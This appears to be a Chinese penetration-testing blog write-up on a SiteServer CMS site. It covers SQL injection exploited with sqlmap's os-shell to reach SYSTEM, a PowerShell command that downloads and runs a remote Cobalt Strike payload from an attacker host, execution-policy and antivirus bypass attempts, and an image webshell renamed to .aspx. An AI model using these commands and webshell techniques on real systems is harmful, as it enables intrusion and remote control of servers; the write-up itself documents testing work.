信息收集:
站點使用vue+aspx+iis8.5搭建。站點登錄框有版本號且url欄中存在siteserver字樣,因此懷疑是cms搭建的,但未見過該cms,使用谷歌搜索發(fā)現(xiàn)該站點是用siteserver cms搭建的,版本為最新,且網(wǎng)上提供的漏洞在此無法使用,在登錄框嘗試過注入+弱口令+驗證碼繞過+未授權之類等等手段之后無果,由于具有測試的賬號,干脆因此直接登錄站點進行測試。
圖示為我從網(wǎng)上查找的登錄圖片,紅框處當時是版本號而非cms提示。
功能測試:
進入后臺之后簡單瀏覽了一下功能,多是一些頁面管理的功能,此處不再贅述,本文主要是從注入點切入。
一:對上傳點的測試:多處存在上傳包括頭像,普通doc文件,編輯器上傳,經(jīng)過測試,上傳功能均使用白名單進行限制,于是決定放棄上傳點,畢竟就算能上傳jpg也因為iis版本太高無法解析。(但是我后來看到過一個文章iis8.5竟然用解析漏洞成功了)。
二:在一處“批量整理”功能處,抓包
對搜索點keyword參數(shù)進行sql注入測試,發(fā)現(xiàn)報錯,于是直接復制數(shù)據(jù)包丟到sqlmap跑。python sqlmap.py -r 1.txt .
結果發(fā)現(xiàn)存在堆疊查詢,且dba權限,直接使用–os-shell命令開啟xp_cmd獲得shell.使用whoami命令發(fā)現(xiàn)當前權限直接是最高權限NT AUTHORITYSYSTEM,開心了,除了這些洞以外再加上其他的點本來收拾收拾本次滲透就到此結束了。
進入內網(wǎng):
但是這么高的權限都到手了,不進一下內網(wǎng)都說不過去,本來想著很簡單的事情。
打開vps,啟動cs,生成powershell馬,os-shell運行,等待上線,結果提示錯誤:
powershell -NoProfile -ExecutionPolicy Bypass -Command “IEX ((new-object net.webclient).downloadstring(‘http://xxx:port/a’))”
第一是先看一下機器是否可以出網(wǎng),ping了一下vps和dnslog沒問題的,于是嘗試使用cmd命令執(zhí)行powershell:
cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command “IEX ((new-object net.webclient).downloadstring(‘http://xxx:port/a’))”
發(fā)現(xiàn)還是報同樣的錯,懷疑是引號的問題,于是百度了一下cmd中引號轉義使用^ ,結果還是不行。
然后旁邊的大佬說是不是window server 2012 r2 設置了powershell遠程下載執(zhí)行策略,于是嘗試使用Get-ExecutionPolicy 查看,并使用Set-ExecutionPolicy 開啟,以下為本機演示(真實環(huán)境截圖忘記了):
具體可參考該文章:https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
最終在真實環(huán)境成功修改powershell執(zhí)行策略,再去執(zhí)行命令還是不行,這個時候突然想到會不會是有殺軟在作怪,于是tasklist看了一下,好家伙果然存在360防護(此處也無截圖)。
猜測確實是360起了作用,這個時候第一想法就是繞過殺軟,之前沒有太接觸過殺軟之類的工具,http://jackson-t.ca/runtime-exec-payloads.html,直接在這里面編碼了一下powershell 命令,結果也不能用,要不然再去借個馬,還要麻煩人家。
這個時候突然想到sqlmap寫馬來上傳文件,但是mssql又沒有像mysql一樣函數(shù)(后來問了大佬sqlmap也可以在os-shell的情況下上傳文件(騷操作)),忽然想起來我剛才測試時候多處功能點是有文件上傳功能的,雖然是白名單,但是絲毫不影響我丟個圖片馬上去。說干就干,在頭像上傳處直接上傳冰蝎圖片馬,bingxie.jpg .然后在os-shell里面使用copy命令重命名 copy d:abcimgbingxie.jpg d:abcimgbingxie.aspx. 然后使用冰蝎連接,毫無疑問直接成功上線,完結撒花。